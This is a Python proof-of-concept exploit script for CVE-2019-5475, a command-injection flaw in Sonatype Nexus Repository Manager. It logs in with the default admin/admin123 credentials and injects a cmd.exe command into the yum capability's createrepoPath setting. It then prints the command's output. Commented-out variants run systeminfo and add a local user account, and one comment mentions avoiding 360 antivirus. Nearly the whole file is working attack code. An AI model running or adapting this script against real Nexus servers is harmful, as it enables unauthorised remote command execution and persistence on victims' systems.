# coding=utf-8

import sys
import re
import requests
from requests.auth import HTTPBasicAuth

'''
PoC of CVE-2019-5475 

Sonatype Nexus Repository Manager

pre-condition: install and launch nexus-2.14.13-01-bundle.zip

self dev

usage:

python CVE-2019-5475.py

![](https://cdn.jsdelivr.net/gh/TesterCC/pic_bed2/20210609160105.png)

ref: 
https://www.anquanke.com/post/id/209597
https://paper.seebug.org/1260/
https://paper.seebug.org/1261/
https://github.com/rabbitmask/CVE-2019-5475-EXP/blob/master/CVE-2019-5475-EXP.py
'''

remote = "http://10.0.4.140:8081"  # Change this to the base url(protocol, hostname and port) you want to exploit.

exec_cmd = "C:\\Windows\\System32\\whoami"
# exec_cmd = "C:\\Windows\\System32\\systeminfo"
# exec_cmd = "C:\\Windows\\System32\\net user"
# exec_cmd = "C:\\Windows\\System32\\net user test test135246 /add"   # exp, get authority, 360 report, need test in VM terminal without 360

json_payload = {
    "typeId": "yum",
    "enabled": "true",
    "properties": [
        {
            "key": "createrepoPath",  # if mergerepoPath report error, use createrepoPath
            # "value": "C:\\Windows\\System32\\cmd.exe /k dir&"
            "value": "C:\\Windows\\System32\\cmd.exe /k {} &".format(exec_cmd)
            # 此处使用 /k 是因为这样命令执行完会保留进程不退出，而 /c 后执行完会退出；由于给用户提供的命令后面加了一个 --version，所以后面要加个&，&表两个命令同时执行，这样就不会干扰其他命令的执行
        }
    ]
}


def get_app_cookie():
    url = '{}/nexus/service/local/authentication/login'.format(remote)

    resp = requests.get(url, auth=HTTPBasicAuth('admin', 'admin123'))
    # print(resp.text)
    # print(resp.cookies.get_dict())
    app_cookie = resp.cookies.get_dict().get('NXSESSIONID')
    print("[*] Get cookie is:", app_cookie)
    return app_cookie


app_cookie = get_app_cookie()

headers = {
    "Accept": "application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json",
    "cookie": "NXSESSIONID={}".format(app_cookie)
}


# fetch the capability id
def get_vul_url(p_url):
    r = requests.get(p_url, verify=False, headers=headers, allow_redirects=False)
    capa_id = ""

    if r.status_code == 200:
        if r.json():
            for j in r.json():
                if j['capability']['typeId'] == "yum":
                    print("[*] Vulnerable id is: {}".format(j['capability']['id']))
                    capa_id = j['capability']['id']

    elif r.status_code == 401:
        print("[!] User credentials wrong! Quit!")
        sys.exit()
    else:
        print("[!] Other error status code {}, please check it.".format(r.status_code))
        sys.exit()
    p_vul_url = p_url + "/" + capa_id
    print("[*] Vulnerable url is: ", p_vul_url)
    return p_vul_url


def exec_poc():
    capa_id_url = remote + "/nexus/service/siesta/capabilities"

    vul_url = get_vul_url(capa_id_url)

    res = requests.put(vul_url, headers=headers, json=json_payload)

    ## for debug
    # print(res.json().keys())
    # print("[*] Response data: \n", res.json())
    # print(res.json().get('status'))    # result

    ret = re.findall(r"\\\"createrepo\\\" version:<br/>(.*?)<br/>'--version'", res.text)
    # ret2 = re.findall(r"\\\"mergerepo\\\" version:<br/>(.*?)<br/>'--version'", res.text)

    print("[*] Finish, command result as fellows:\n")
    print(ret[0].replace('<br/>', '\n').replace('<br>', '\n'))


if __name__ == '__main__':
    exec_poc()
